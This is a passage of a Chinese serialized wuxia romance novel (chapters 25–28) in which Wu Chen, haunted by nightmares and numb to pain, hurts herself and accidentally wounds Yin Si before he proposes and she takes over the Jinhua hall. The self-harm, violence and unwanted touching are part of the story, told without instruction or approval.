巫辰只神色呆滞,青丝遮住眼角,眼底黯淡无光,说不出话来。
“阿颜,生辰快乐。”,殷思笑意浅淡,虽已两月未见,却仍感,他的笑意可融尽世间霜寒。
......
无声雪,落满阶。
......
“殷思,我想看你哭。”
“......啊?”
25.误伤
琼花纷坠,掩尘嚣,无声雪,落满阶。
......
“殷思,我想看你哭。”
“......啊?”
......
殷思歪着头,额间发丝随风而动,思绪乱,“......人岂是说哭就哭的,况且,心里觉得难过、觉得痛,才会哭。不好受的......”
“......”,巫辰面上神情未有变动,只是才看向殷思的目光,被收回。
巫辰从未掉过一滴眼泪,其中滋味,自然不懂;心情与情绪,亦不知到何处去寻,唯愿借一物或是一人,与现实产生微弱的连结,巫辰才好确认,自己活着。
“怎么了......”,见巫辰低头不语,殷思忙拉住她,稍稍凑近轻声道,“你若真想看......我......我酝酿一下,等我一会儿。”
“咳.....”,殷思稍稍清嗓,猛吸一口寒气后将气憋在心口,紧闭起眼,微微垂首后气息长舒,再频繁眨动双眼,反复酝酿多次后,失败了。
巫辰皱着眉看着他,竟稍向后躲了半步,“你在干什么。”
殷思道:“想哭......想让你高兴。”
巫辰被会错意后,也不再执着,冷冷道,“不必了。”,随后推开站在眼前挡着路的殷思,出了院落。
......
雪落幽庭,夜渐深。
巫辰坐于亭台中,将手伸至亭檐外,欲将漫天霜雪,困于掌心,指尖轻触寒酥,不冷不热,没有温度。
恍神间,寒霜素雪竟化为血水,由指缝间流淌。
殷红片片顺着掌心漫延至手腕处,触目疤痕经这一激,开始溃烂渗血,直至浸红袖口与整片衣衫。
巫辰想要将手收回来,却僵在原地,如何也动不了,只得眼看着血染净雪。
巫辰早已是无处可去,世间寻不见一处容身之所;她的所到之处,只有腥风血雨,利刃、杀意,如今在她看来,恶心极了。
......
“阿辰!”
啪————
随着仙宁的一声呼喊,一掌重重落在巫辰无法动弹的掌心间,回神后再看向原处时,血痕,消失不见。
仙宁满头钗饰叮叮当当碰在一起,正眯着眼盯着巫辰看,“竟然偷偷在这里发呆!听小思说今日是你的生辰,恰巧!也是你大病初愈的好日子!”,说着拉起巫辰的手兴奋得摇晃着。
巫辰道:“我从不过生辰。”
巫辰从不过生辰,只因她出生那日,是母亲的忌日;母亲戌时去世,她却于亥时出生。
年幼时家中曾有下人于人身后嚼着口舌,道:“夫人怀胎时,人人皆说此胎胎象极好,像个健康的男孩。可分娩那日,夫人却急病去世,原因无人可断,是这命硬的小姐克死了夫人,展家竟出了个‘棺/材子’!”
在巫辰认真向父亲发问棺/材子的意义后,再未见过那名家仆。
不祥之人,过什么生辰。
......
“走了。”,巫辰说罢起身正欲离开,因低首垂着眼,撞到一人身上。
殷思小声试探道:“阿颜,怎么了......若是心情不好,可以告诉我吗?说出来,会好一些,不要闷在心里了......我想你开心起来,明日带你到郊外赏雪,如何?”
巫辰心中涌上无名火来,他一口一个开心、高兴,她连痛都感受不到了,如何开心。
“殷思,你没有别的事做吗。”
殷思拉住巫辰,目光闪动,道:“我想多陪陪你。”
巫辰却未看他一眼,“哈......陪我......是在将我当做借口吗,为你整日的无所事事,寻个借口?”
“你从不是借口,你是于我而言,最重要的人。上次分别时,是我未护住你,是我的错。”
“过去的很多年里,我在害怕、畏惧、退却,我也恨自己......没有能力,将你拉住,今后不会了,我只想在你身边.......还有,我其实......”,殷思连忙解释,说道一半却被巫辰打断。
“够了。你在自怨自艾什么,说来说去不过都是你自己无聊时臆想出来的......我从不是你想象中的样子,现在不是,日后更不会是。”
.......
仙宁看着巫辰走远的背影,才敢发问:“小思......你是在表白吗?她拒绝你了?你怎么不追上去了?”,说着看向殷思,“嗯?哭了?!!”
......
是夜沉沉,风如泣,榻上之人神困厄羁,魇魔入梦。
“阿辰!你还好吗?”,门外仙宁边敲门边喊着。
“不理我......那我......我进来啦。”
咚咚————咚咚————咚咚————
扣门声更使巫辰心魂难宁。
......
....
...
“别......别......别怕......”
“我......有我在.......”
置身于幻梦,暗夜如墨,耳边嘶喊与刀剑碰撞声汹涌潮水般卷入耳中,随后便是震天的杀声。
未觉惊慌,但看着眼前的女人,钗饰凌乱发丝遮住眉眼,她明明更害怕。
什么意思。
心存有异后,双手再难自控,竟猛地探向她的脖颈,五指如钩,狠力掐住,往日郁结宣泄于此,眼前的女人气息渐乱,眼中满是惊恐。
“阿......阿颜......”
......
.....
....
“阿......阿辰.....放......放开我......”
巫辰眼中已满是猩红,手上的力道不减反增。
“咳咳咳.....咳咳.....”,仙宁想要尽力掰开巫辰的手,眼前却逐渐昏花眩晕,最后使出全力换手拽住窗边帷幔,立柜随之倾倒,声响巨大。
......
“巫辰!”
“......仙宁!”
......
巫辰由梦转醒时,四周静谧异常,只留仙宁微弱的喘息与啜泣声,她肩头微颤,眼中满是惊惧,看着巫辰呢喃着,“......好可怕......你......你是谁......”
“无事了,仙宁,无事了......”,殷思在旁安慰道。
“大人!大人怎么了......”,钦天监侍女凌云闯入房中,见状惊诧。
殷思嘱咐道:“凌云,扶大人回去休息,莫要离身。”
“是,公子。”
......
巫辰呆坐于原地,呼吸混乱,心神慌乱,如今梦魇发作已严重至无法区分幻梦与现实,竟险些伤了仙宁。
“巫辰?巫辰......”,一阵耳鸣后,巫辰发觉殷思在唤着自己。
巫辰冷汗涔涔,面色煞白,唇上已失了血色,眼神无光飘忽,抬眼看向殷思。
殷思双眉紧蹙,慌乱之色在眸间氤氲,“如何了?阿颜......醒来了吗......”
殷思还是没哭,更难以确定,是否还在梦中。
“......”,
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片刻无言。
“你不是很爱哭吗,怎么不哭了。”
殷思见状试图靠近,俯身即将触碰到她时,巫辰下意识抬手一挥,一记耳光重重落在他的面颊,殷思停滞半瞬后,竟挤出一抹笑来,“无事的……不开心了,怎么打我都可以……”
巫辰盯着他道:“那你哭啊,我打你是要你哭的,为什么不哭了,是还不够疼吗?”
“我……”
夜晚烛光明灭闪动,极其晃眼,巫辰推开殷思,冲向窗前桌台,徒手对着蜡烛烛心一抓,将其星火掐灭。
巫辰手肘撑于桌台,正欲伸手去去够第二支烛台。
“不要……”,殷思迅速回身将她拉住,万般疼惜于心中肆起,“不要……阿颜,你别这样……很疼的……”
“疼吗?我怎么不觉得。”,巫辰说着又甩开殷思的手,跑去另一处寻短刀,左手执利刃未停顿分毫便要朝自己右手扎去。
殷思顺势从身后后面抱住巫辰,双臂紧紧环住她的身体,“别……别伤害自己了。我求求你……求求你……”,他嘴唇微微颤抖,片刻后仅余两人紊乱又紧贴的呼吸,滴泪悬于睫下摇摇欲坠,而后缓缓而下,悄无声息落地在巫辰左肩处,滚烫泪滴于冰冷的皮肤上融化,消散。
可感温度,确是身处于现实。
“哭了?”
“……”,殷思极力抑制哭腔,将头埋在巫辰左肩处,不说话。
巫辰道:“为什么哭。”
“我……我不想你受伤……不想你疼……阿颜,你冷静些,好吗……”,哽咽声起,殷思断断续续回应着。
“我说了我不疼!你总在揣测我!我不疼!我感觉不到疼了!殷思,你懂什么?你以为你很懂我吗?”
殷思急忙解释,“……我……我没有……对不起……”
巫辰用力从他怀中挣脱,“对不起什么?”
“我……我不揣测了……你,你先把刀放下……”
说话间巫辰拿回短刀正欲朝自己身上扎去。
“别!巫辰!”,殷思忙从她手中抢刀,双手紧握巫辰执刃的手腕,争执间右手失力,利刃刀尖沿着殷思脖颈处划过。
寒光一现,眼前蒙雾,视线不清。
“……”,巫辰回过神来时,殷思正低着头,躬身跪在地上,殷红鲜血顺着他的乌丝坠落,滴滴分明。
滴答——滴答——......
巫辰只觉心口处遽然一紧,停滞半拍后,有点疼。
利刃坠地,巫辰冲上前忙去按住殷思颈部动脉的位置,殷思抬眼时,眸中分明是诧异与惊喜,随后将手掌覆在巫辰的手上。
殷思浅淡一笑,眼角处泪痕未消,“怎么了,阿颜……我没事的……你看,是耳朵流血了,不是别的,没事的。”
巫辰跪坐在殷思身旁,默默发呆。
殷思道:“抱歉……今后,我不会再擅自主张了,也不再去乱猜你的心思,阿颜想怎样都好,只要不伤害自己,做什么都好。”
“……”
见巫辰没有反应,靠近追问:“你是在关心我吗?”
“……”
“……不说话?当你默认了?没事的……是小伤……给,将刀收好,别胡乱扎自……”,话语被巫辰突如其来的一抱打断。
巫辰轻轻靠近殷思耳边,道:“疼吗?”
“嗯?”
巫辰继续问着:“疼不疼?”
“疼,可疼了。”
殷思左耳伤口处淌出的鲜血,浸湿肩头衣衫,巫辰只细细感受着,再不是腥腥血气。
......
「我也好疼。」
26.娶我
巫辰垂眸失神,道:“疼不疼?”
“疼,可疼了。”
殷思左耳伤口处淌出的鲜血,浸湿肩头衣衫,再不是可怖血气。
......
「我也好疼。」
......
巫辰似是考虑良久,才道:“殷思,我好怕。”
“怎么了?”
“噩梦,我每天都做噩梦,看着面容扭曲的人……如何都听不清的说话声、嘶喊声、哭声……听不清,我好害怕……梦里……还会流很多很多血……”,巫辰的语气再不同于往日的毫无起伏,此时的话也是她从未表露过分毫,藏在心底的话。
旁人只知巫辰行事狠厉,从不顾及后果,钟爱抹人脖子,绝非善类。
殷思却知,她也会害怕,她一直会害怕。
殷思听后先是一愣,而后轻拍巫辰的背,哄道:“会做梦,那便不要睡觉了。往后夜里,我陪着你,见你要睡着,立刻喊你醒过来,好不好?”
“好。”,巫辰竟真觉得有道理,平日里她也不愿睡着做梦的,但独自一个人呆久了,便会难以醒来。
殷思道:“嗯,那一言为定了,到时叫你醒后,可莫要再打我了。”
“嗯。”
“殷思……我很可怕吗?仙宁刚才,说我好可怕……我好像,要变成另一人的样子了。”,巫辰说着,抱得更紧了些。
殷思道:“其实,我胆子可小了,还从未与人讲过的,我自小……从不愿一个人睡,每晚都需人陪着我才敢睡着。我这么胆小的人,都未觉可怕,所以,你还不够吓人。”
“……你是在骂我胆小吗。”,巫辰却突然琢磨过劲儿来。
殷思小声道:“我怎么敢的。”
“……”,相拥间,只感暖若春阳,再不见世间风雨,落雪停滞许久,熟悉得令人心安。
殷思道:“而且,阿颜是很好的人,不可以怀疑自己,大家都很喜欢你的。”
“喜欢我什么。”
“我可不敢说了,不敢擅自揣测你了。”
巫辰听他这样说,气得不轻,一口咬上殷思肩头。
殷思吃痛,却道:“嗯……喜欢,喜欢你咬我……”
“你有病。”,巫辰瞬间冷脸,将他推开,眼神闪躲撇向别处,不再看他。
殷思问道:“阿颜,你会梦见我吗?”
巫辰违心道:“不会。”
“那......会想在梦中,见我吗?”
巫辰道:“我想见爹爹和哥哥,但梦里,只有以后的事情,所以见不到死人了。”
“……抱歉。”
“……”
殷思叹气道:“以后的日子里……居然没有我了吗?”
“……”,两人许久未再说话,放空发呆时,巫辰忆起在诏狱时,做过的怪梦,梦中的一男一女缠绵悱恻,距离极近,和现在与殷思的距离一样近。
巫辰也不懂,这样的距离,是何意;世人常说,感受的第一步,是学习,而学习的重中之重,便是“学”,即为效仿。
......
巫辰低着头,额角顶着殷思下巴,手竟不自觉环上他的脖子。
殷思见她有动作,问道,“好些了吗?”
“巫……”
......
.....
“……?”
殷思话未说完,巫辰却抬起头,微微倾身,动作极轻。
双唇即将相触时,理智猛然间占至上风,殷思迅速抬手将巫辰的吻挡下,两人相隔一指的距离,心弦慌乱。
“怎么了……”,殷思低眉,颊间绯红晕开,有些尴尬。
巫辰见他反抗,竟直直将殷思按在墙边,什么都不说,也未流露任何似是动情的神色,只是这样看着他。
殷思忙侧身闪躲,慌乱间巫辰再次亲了上来,只好伸手将巫辰的头靠于左肩,一下将她抱住,指尖轻轻滑过她的发丝,被渐渐缠绕住,无法挣脱。
殷思只得逼迫自己,压制住应有的一切心动,气息混沌沉重,眉间微蹙。
“你再乱亲,我会疯掉……”
巫辰欲挣脱,“放开我。”
“不可以,你快醒过来……”
“……”,巫辰使上强硬手段,再次咬上他的肩膀。
殷思声音略有颤抖,“……咬我可以,别做别的了。”
干脆松口,却又寻着由耳后淌至脖颈的血痕,于整片殷红中,精确找出显眼的朱砂,轻吻上去。
吻上的,是那人早已紊乱的气息与思绪。
“别……别……阿颜……”
......
“别这样,我求你。”
殷思身体条件反射般微微发抖,极为不解,“你到底在干什么……哪里学来的……”
巫辰紧贴于殷思耳边,轻声道:“梦里。”
“?”
殷思道:“不是才说,未梦到过我。”
巫辰道:“是别人。”
“啊?别人……”
“……”,殷思早已情思暗涌,双唇紧抿,再难自控,心中虽有万叶颤鸣之意,却静谧无声。
“巫辰,你如果不喜欢我的话,是不可以亲我……”
巫辰打断,认真问道:“怎么喜欢?”
“……啊?”
“怎么喜欢你。”,而后轻抚上殷思的左耳,“疼吗。”
“你……你别这样,我受不了的……”,殷思忙拉住巫辰左手,颤抖不已,更使不上任何力气。
“为什么?”,巫辰松开他,问道。
“……”,殷思正强自镇定,试图理清呼吸。
巫辰转念,便向殷思那时长碰不得的右手探去,因两人离得过近,难以感知出精准的位置,摸偏了。
“我是个男人,我有……”
“……???!”
巫辰此举一出,殷思双眸骤睁,面上惊愕之色难掩,双唇微张,半晌不得言语。
“殷思,这是什么?”
巫辰仍在等他的回应,见他又不说话了,心中满是不解,却仍未松手。
“别动……你别再动了,别乱碰了,我求求你……”,殷思身体渐渐失力,向下滑去。
巫辰道:“殷思,你抖什么。”
“我……”
“……”
殷思闭眼,极力自控,一字字道:“你,松、开、我。”,随后竟猛然使力挣脱开,直接巫辰扛于肩上,将她扔到床上,马上跑开。
重重掩门后,背靠门楣,坐下来,“有事叫我。”
夜雪纷飞,寒意本应噬骨,可浑身滚烫久久难消,此夜难安,心更无眠。<
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p>“......”
“......”
第二日,一夜过后,雪已停。
巫辰出门后,未见殷思,侍女凌云上前道:“巫首辅官,殷公子今早交代,待您醒了,可去往食坊寻他一同用膳。”
“知道了。”,巫辰淡淡道。
......
食坊内,巫辰远远便瞥见,殷思与仙宁正坐于窗边,最靠近林景的位置,秋日离开钦天监前,三人常一同坐在这桌。
冬日暖阳,光线并不强烈,柔和自然,只轻撒在殷思身侧。
仙宁坐于靠外的位置,巫辰走至仙宁身后时,殷思的目光落在巫辰身上,神情稍变。
背对着巫辰的仙宁,也顺着殷思的目光,感受到了某种气息,缓缓回过头时,与巫辰对视半瞬后,不敢再多看巫辰一眼,直接钻入桌下。
“......”
殷思安慰道,“大人,巫辰她......不是故意的,往后我会将她看牢的,大人先出来吧。”
仙宁却只缩在桌角处,双肩微微颤抖,是真的惧怕,“不......不要......太.......太可怕了,呜呜呜呜......”
“......”,巫辰僵在原地,应是有些不知所措的。
殷思道,“大人,巫辰现在好好的,不要怪她了,好吗?”,随后低头俯身看向藏于桌下的仙宁。
“不!我不要!我.......我还不想死......呜呜呜呜.....不要......”
殷思皱眉,求助般看向巫辰。
巫辰道:“凌云,先带大人回房。”
“是。”
......
巫辰与殷思只在一旁默默看着,未有交流。
凌云硬是用吃的、喝的、玩儿的,蹲在地上足足哄了仙宁一炷香的时间,她才肯从桌下出来,随后紧抱着凌云,躲过巫辰的注视,跑开了。
“阿颜,吃点儿吗?”,殷思开口道。
“嗯。”,巫辰坐下,捏起一个包子便往嘴里塞。
殷思试探道:“昨晚你......”
巫辰盯着殷思看,细细嚼着嘴里的肉包,等他继续说。
殷思被盯得心慌,倒上半盏茶后递到唇边,抿下清茶,稍稍平静道:“昨晚......睡得还好吗?”
巫辰将食物咽下,“嗯,好极了。”
“......”,巫辰面色如常,难以看出神色情绪,如昨晚之事从未发生一般。
“咳.....”,殷思轻嗓后稍稍坐直,认真道:“阿颜,我想娶你,你能嫁我吗?”
“......”,未有回应。
殷思着急道:“先前虽提过多次,场合紧急,像是临时想出的应付或是借口。但次次,皆是真心的,我......我真心想娶你做妻子,真心的,真的是真心的。”,话到嘴边,语句用词开始变得极为匮乏。
巫辰道:“娶我,有什么用。”
殷思无奈,“这......成亲怎可以‘用处’来衡量的......”
“那你有什么用。”,巫辰放下手中筷子,认真道,“你可以干什么用,能亲吗。”
“.......?”,殷思错愕几秒后,强忍羞耻,“能......”
“......”
27.回家
巫辰道:“娶我,有什么用。”
殷思无奈,“这......成亲怎能以‘用处’来衡量的......”
“那你有什么用。”,巫辰放下手中筷子,认真道,“你可以干什么用,能亲吗。”
“.......?”,殷思错愕几秒后,强忍羞耻,“能......”
巫辰却继续问道:“......不成亲,不可以亲吗。”
殷思只觉又羞又疑惑,不确定道,“应该......应该不可以吧。”
巫辰在脑中细细想着梦中那一男一女的身份,全然未顾对面的殷思已然慌了神。
巫辰道:“皇帝只有一个妻子吗。”
殷思不解,“......当今圣上,只有皇后一位妻子,未有过妾室的。”
巫辰确认,梦中那女子,绝不是皇后,细细回想过后那女子模糊的相貌与身形,似可与一人重叠——险些误伤仙宁那晚,于梦中被“她”掐住咽喉的那个女人。
巫辰盯着盘中吃食,自顾自想着梦里的事,发呆之际将肉包子戳了一个又一个小洞。
“怎么连包子都欺负。”,殷思见巫辰愣神,凑过来道。
巫辰眉头紧锁,抬眼瞪他,“殷思,如果未成亲的两人,什么情况下,会亲在一起。”
“.......”
“问你话呢。”
殷思无奈道,“喜欢。若是情难自抑,会不顾身份名节、伦理纲常,爱得极为荒唐。”
“......”,巫辰若有所思,未有回应,梦中女人的身份极为重要,必得查明,需从那日烧毁的宗正寺,以及凭空出现的前太子妃霍懿纯查起。
殷思蹙眉抬眼,小心问道,“巫辰,你.......你是有什么顾虑吗......缙华堂世代由殷家独立管制,不论你是否有官职在,里面的人,你都可以用的......你想要的,我都愿意给你;你想做什么,我都情愿帮你......”
“殷思,你能给的,都是你的东西,没有一样,是我的。”
“......”
巫辰道:“我要的一切,我只想自己去拿,不择手段得夺也好、光明正大得拥有也好。”
“这才算是我巫辰的东西。”
“入夜梦魇之时,你能叫醒我,就够了。”
四目相投,尘世仅余彼此。
若于纷乱之中茫然不觉时,有人可化作微烛指引方向,已是此生幸事。
......
殷府前庭,孟姨娘正拉着巫辰说个不停。
“巫姑娘,日后殷思若有什么不好的,尽管与我来说,我替你管教他.......嗯.......直接与侯爷说也是可以的,侯爷会替你打他的。”
“......”
“还有啊,巫姑娘,你记得嘱托殷思,别去那花楼了......咳......那嫣红柳绿的地方,那味道别提多难闻了,长此以往下去身子都是会变差了.......你看他常去那种地方,也不好受,是不是?”
“......”
“还有还有,平日里出门,莫要说出你的真名了......免得被打......咳......被骂,你知道这两月,京中是如何传你们两人的吗?啧......殷思他在外名声差得很,旁人又都认得他,外出时尽量少与他待在一处了......”
殷思忍无可忍,从旁将巫辰拉走,“姨娘,你别乱吓她了。”
孟姨娘皱眉,语气中满是指责,更是越说越气,“还不是你于陛下面前乱说,平日里你自己言行无状,光是你一人遭人骂也就罢了,如今又连累得人家姑娘名声不好。坊间都传,你二人身穿婚服要于太康殿内当场成婚了,若是侯爷在场,定要打断你的......定要打死你了!”
巫辰不解,将头一偏,看向殷思问道:“当场成婚怎么了,像昨晚做的一样吗。”
“......?”,殷思见巫辰又不知在胡乱问些什么,忙于身后悄悄捏她的手。
巫辰抽开手道,“你掐我做什么。”
孟姨娘已是双眼圆瞪,惊怒之色尽显于面:“殷!思!你!干了什么!你还是个人吗!”,说罢伸手便要去打他。
殷思后退闪躲后借势拉起巫辰便往府外跑,“姨娘你误会了,我还是个人!都拉住姨娘!”,边跑便交代院内侍女。
“殷思!别让我再看见你!我见你一次,打你一次!打死你!!!”,孟姨娘正欲追上前去,头上珠翠乱颤,眼中惊怒,被一众侍女拉住,在原地急得直骂人,“殷思!你口口口,口口口口!我口口口口口,口口!”
......
“口口口!”
......
“初鸣,车呢?”,殷思于殷府门前焦急问道。
初鸣道:“公子......昨日全被李四公子借走了,您不知道吗......”
殷思道:“我当然不知,李鹜可说了原因?”
“只是说有要事......”,初鸣委屈道,“公子,我给您与巫大人准备了马的,御马回洛川,行吗......”
殷思无奈,“事态紧急,先走了,下次与你算账。”,说罢便欲扶巫辰上马,却见她愣在原地不动。
殷思道:“怎么了?知你不愿与我一起,你先上马,我骑另一匹......”
“......”,巫辰满脸严肃认真,看着马不语,似是不知从何下手,而后伸手拽住缰绳,引得惊马长嘶,其声高亢吵得一旁众侍从忙捂起耳朵。
“巫辰,你......不会骑马?”,殷思见她踌躇的样子,不禁一笑,“竟还有你不会的。”
巫辰闻言撇了殷思一眼,赌气便要往殷府门里走,殷思忙将她拉住,“别......我带你,可以吗。”
“嗯。”
殷思阔步至马侧,轻掠衣袂,身形一跃,于马上向巫辰伸出手,将她拉住后轻轻一拽,二人身影相依。
手攥缰绳,骏马嘶鸣,见巫辰身形摇晃,殷思于身后将她环抱住。
“走了。初鸣,你与末息稍后跟上,小心些孟姨娘。”
“是,公子。”,初鸣俯首目送两人,却未明后半句的意义,马驰卷尘而过后,见孟姨娘手持长刀追出府来,他懂了。
......
马蹄声碎,巫辰轻靠于殷思的胸膛,风拂发梢,相伴悠然,冬日疾风中,竟未觉寒意。
一路上巫辰未发一语,殷思道:“阿颜......你怎么不说话.......是仍在忧心仙宁吗?”
巫辰道:“今日,未与她告别。”
“无事的,来日还会再见。”
巫辰淡淡道:“她应不愿见我了吧。”
殷思道:“怎么会......仙宁一直很喜欢你的,只是有些
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误会。下次再见时,你与她说明那日的原因,可以吗?”
“嗯。”
“阿颜,你好像有许多事,闷在心里,可以和我说说吗?”,殷思于巫辰耳后轻声问道。
“你想听什么。”
“那日太康殿内,你交予皇帝手镯,是何用意?”
巫辰道:“我梦中曾有两人,一男一女抱在一起,离得很近很近,女人戴着那只手镯,男人便是皇帝。”
殷思道:“......你怎会做这样的梦,所以你那晚才......学着......要亲我?”
巫辰无奈道:“这不是重点吧。”
“......怎么不是重点了。”,殷思小声说着。
巫辰道:“那女人我还在梦中见过一次,‘我’在......像是在一片乱军中,掐着她的脖子。”
殷思问道:“乱军......宫殿内?”
巫辰道:“......是宫殿,她叫‘我’不要害怕,我也不知为何,会掐上她的脖子。”
殷思疑惑:“宫殿的乱军......如若是发生过的事,只会是八年前太子叛乱逼宫。和皇帝亲密、要杀她......这两件事,有何关联?”
巫辰问道:“太子叛乱逼宫后,都有谁死了?”
殷思道:“......死的人,太多了。”
“殷思,你是不是,知晓许多事,却不想告诉我。”
殷思将巫辰抱得更紧些:“你想知道什么?”
“展家,因何事被抄。”
殷思道:“因符禺岗,太子逼宫失败后,先帝下令彻查,查出符禺岗有展家私兵,和......做奇怪的......人体实验......传闻像是巫医。”
“符禺岗是我家早年便有的封地,明明是战乱时我娘收留的流民,大多数人虽会武懂毒,但多是些妇孺孩童,不可能被认成私兵的。那抄家呢,抄家应是查抄关押,为何会杀人?”
殷思神色稍顿,握住缰绳的右手不由得攥紧,却仍感无力,选择隐瞒,“......不知道。”
巫辰问道:“那荔平案呢?”
殷思解释,“两枚荔枝妃子笑,欲平分大苍,是为‘荔平案’。原因大苍第三任皇帝乐咸帝,有两子,长子淳王称帝为相晏帝,但相晏帝未满二十五便过世,独子年幼无法称帝,遂由其胞弟祈王继位,称帝为载翰帝......”
巫辰轻拽殷思衣角,“殷思,你别说了,我没听懂。”
殷思道:“......改日让李鹜讲与你听,他将承氏祖宗十八代记得极为清楚。”
巫辰道:“回过缙华堂后,不宜久待,将事办妥后,我们回献都查案。”
“我们?”
巫辰道:“我不会骑马。”
殷思眉梢轻扬,笑意未达眼底,却满心底,“阿颜,我陪你。”
“殷思,你真的会陪我睡觉吗?”
“.......你只要不乱......勾......挑......招......引.....”,殷思反复措辞,却不知如何形容。
巫辰回头道:“不能勾搭你吗?”
殷思道:“......嗯,只要你不乱勾搭我,我日日都陪。”
巫辰道:“哦,可是你昨晚不在。”
“你昨晚明明就勾搭我了......”
“......哦。”
28.首辅官
洛川,缙华堂内。
堂内女弟子正议论纷纷,“......这是,巫......巫辰?”
“什么意思啊......前些日子说新任的首辅官,便是巫辰吗?她不是因为杀了陈首辅官......被抓了。”
“......听说是傍上了殷公子,入了都城不久便直接封了钦天监的差事,不知怎的如今又回了缙华堂。”
那弟子听了满眼震惊,回想起巫辰平日的眼神,不寒而栗,“......她那副.....看人当看狗一样的眼神......竟能与殷公子.......?”
“况且......若是要新封首辅官,也应是封在任多年的左锋或是右锋吧......新首辅官年纪尚轻,若是仅是凭着那投机取巧的邪门儿功......”
其中一人,却悄悄皱眉轻咳起来,忙使着眼色,“咳......”
“咳咳......!”
正说着话的那名弟子察觉背后稍有不对劲,转头便瞧见巫辰正冷脸盯着她看。
巫辰也未责怪,随后幽幽开口道:“你对我的了解,可真多。”
“!.......巫......大.......大人。”,那弟子被吓得不轻,忙俯首。
“见过首辅官大人。”,在场众人齐道。
巫辰问道:“你叫什么名字?”
“......弟子.......弟子景婵。”
巫辰道:“景婵,内力尚可,攻速中上,只是仅会照搬书内的老旧招式,且是按顺序搬。三招之内便能看出你前一日,是读了哪本武经,丝毫不懂融会贯通、见招拆招。”,言毕后,巫辰悄然欺近,右手探出,要抓取景婵肩头,试其应变之能。
景婵反应过后以一掌斜出迎击,随后迎面攻向巫辰,巫辰躲开后攻向景婵右腕处,轻转手腕将身体移至其左侧,紧压住她肩头,再难以动弹。
巫辰道:“《尉通法》第五卷,第三式。”
“......”,景婵沉默不语。
巫辰松开她,道:“你是很会读书,晦涩难懂的内经功法你学得极快,却因这死读书习来的招式白白浪费了内力。不知你,能否给我这个练邪功的,指点一二?”,说罢抬手抚向景婵的面庞,景婵被这突如其来的动作吓得身体一颤。
巫辰道:“左锋,你看她,长的算漂亮吗。”
左锋未明其意,道:“......应是......算的。”
巫辰对景婵道:“那你最适去宫里做剑器舞者,论记忆动作,你与舞姬相比,又快又准。刚好,缙华堂需改革,你来组建舞团,来日到陛下面前得了封赏,莫忘了我这个洛川小官。”
“.......你!我.......我.......”,景婵被巫辰激得又羞又恼,一时间说不出话来。
右锋道:“巫大人,景婵确是能力不佳,却也是一心一意只愿习武的,怎可去做舞姬供人消遣。大人回缙华堂理事,若是仍如往日都行事不管不顾,将此等糜烂风气带回堂内,有损您的名声,更损......殷公子、殷家的面子。”
巫辰道:“听右锋的意思,是对我,有意见?”
右锋道:“下官只是稍稍提醒您,莫要落了人的口舌,遭个上梁不正下梁歪的骂名。”
巫辰撇向右锋林央,严肃道:“谁是上梁,殷公子?闵国侯?还是亲封我为缙华堂首辅官的当今圣上?你有几个脑袋,敢这般与我说话。”
左锋正欲相劝,“大人......”
巫辰眸中冷光乍现,抬脚便将右锋踢飞出去,远远地跌落在人群的数丈之外,扬起一片尘土。
在场人皆被惊得不敢插嘴。
巫辰神色间不见半分波澜,走向倒地的林央,俯身道:“陈湘娩,我敢杀;你,只会更好杀。有些账,我还未与你算,可别叫我太快想起来。”
“......”
巫辰转身对众人:“缙华堂首辅官一职,今日起由我接手,堂内原先的规章行制,会全数推翻重建。”
“不服我坐这个位置的,现在过来把我杀了,首辅官,你来当。”
“不服我管缙华堂的,现在就可以离开这扇门,与我缙华堂,再无关系。”
其中几名弟子似是极看不惯巫辰的行事作风,都欲离开。
“吓唬谁呢......走就走......”
“走啊......景婵,愣着做什么!”
巫辰冷冷道:“想走的,赶紧滚,出了这扇门的便是丧家之犬,仅会故步自封的困兽离了囚笼,如何生活,自己想好。”
左锋道:“大人,这帮姑娘从前未出过门的,若是离了这儿......怕是......”
“开门。”
“是。”,随行侍从正欲去开门,大门却先被初鸣打开,初鸣疑惑,“嗯?这是怎么了?怎......怎么全看过来了......”
侍从道:“公子好。”
缙华堂众人见殷思进门,齐声道:“见过殷公子。”
“嗯,都愣着做什么呢,右锋怎么了?”,殷思皱眉看向倒在一旁嘴角渗血的林央,便知这是巫辰的手臂,上次他被巫辰踹飞,也是这般半天难以动弹的。
右锋林央困难道:“咳......殷公子,巫.......首辅官她......”
左锋插嘴打断:“公子,您且劝劝首辅官,这些弟子皆是缙华堂养了许多年的......如今大苍局势混乱,处处是险......”
殷思却未理会,道:“初鸣,要走的,给她们钱。”
“是,公子!”
“你要走是不是?来......拿好拿好......你的十两!”,初鸣将银两发给正欲离开的弟子,“给,你的。”
在场众人更甚悄悄道,“还有钱能拿......走吧走吧......”“走!出去了做点儿什么不行!”“走吧,别愣着了!”,说着便出了门。
殷思缓抬步履,衣袂翩跹,绕过在场众人行至巫辰身前,眸光沉静,已是许久未见她如此严肃,不由得一笑。
巫辰道:“看什么。”
殷思目光难以从巫辰身上移开,笑道:“无事。”
巫辰索性不再理他,对众人道:“走干净了,我们说正事。”
“日后,缙华堂不会再关门,想走的人,可以随时走,未按时报道的会直接从名册上除名。且每月,仅余五日是必须在堂内受训,其余时间出入自由。”
“这......出去......做什么啊......”,此言一出,便有人疑惑议论。
巫辰继续道:“其余时间,有三个选择。第一,自愿日日留在缙华堂,缙华堂会提供日常的温饱吃住,但不再有任何俸禄;第二,跟在我身边办差,月俸十两;第三,随我到都城,给朝内高官、贵族当暗卫,月俸八两。”
其中一名弟子问道:“大人,敢问您这样做,是否坏了缙华堂的规矩?弟子原先仅在堂内受训,出了这个门,也是做官家暗卫。您若随意将弟子发卖出去,是否是在假公济私,吃其中回扣?”
初鸣听不下去反驳道:“你有没有好好听!巫大人是按月租,可不是发卖人!况且是实实在在发您们俸禄报酬的,余下的也是为了给你们更好的受训条件,成日在堂
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内傻练,真刀真枪都未碰过,你能懂什么?!”
“......”
巫辰道:“想清楚,为何献都继华堂内的人,为女官,有官职。你们却是弟子,是闲人。”
“......那,大人哪儿来那么些钱发给我们,谁知道你说的是不是真的......”
巫辰转身看向身后的殷思,“殷公子会发的,是不是。”
殷思道:“这是自然。”
“咳咳!门外听着的那些!趁着大人还没记住你们是谁,还有机会回来哦~~想好了的,来我这儿登记!”,初鸣寻了笔墨书册,坐于石桌前逐一记录。
从前的八年,于堂内受训时,巫辰常向往大门以外,真实的、现实的生活;压抑多年后,许多事,她再也无法理解参透,只好慢慢去寻。
......
将缙华堂诸事安排整顿清后,本月仅有两人留于巫辰身边办差,景婵与刘融语,两人皆是温吞话少的,相处起来对巫辰来说,还算自在。
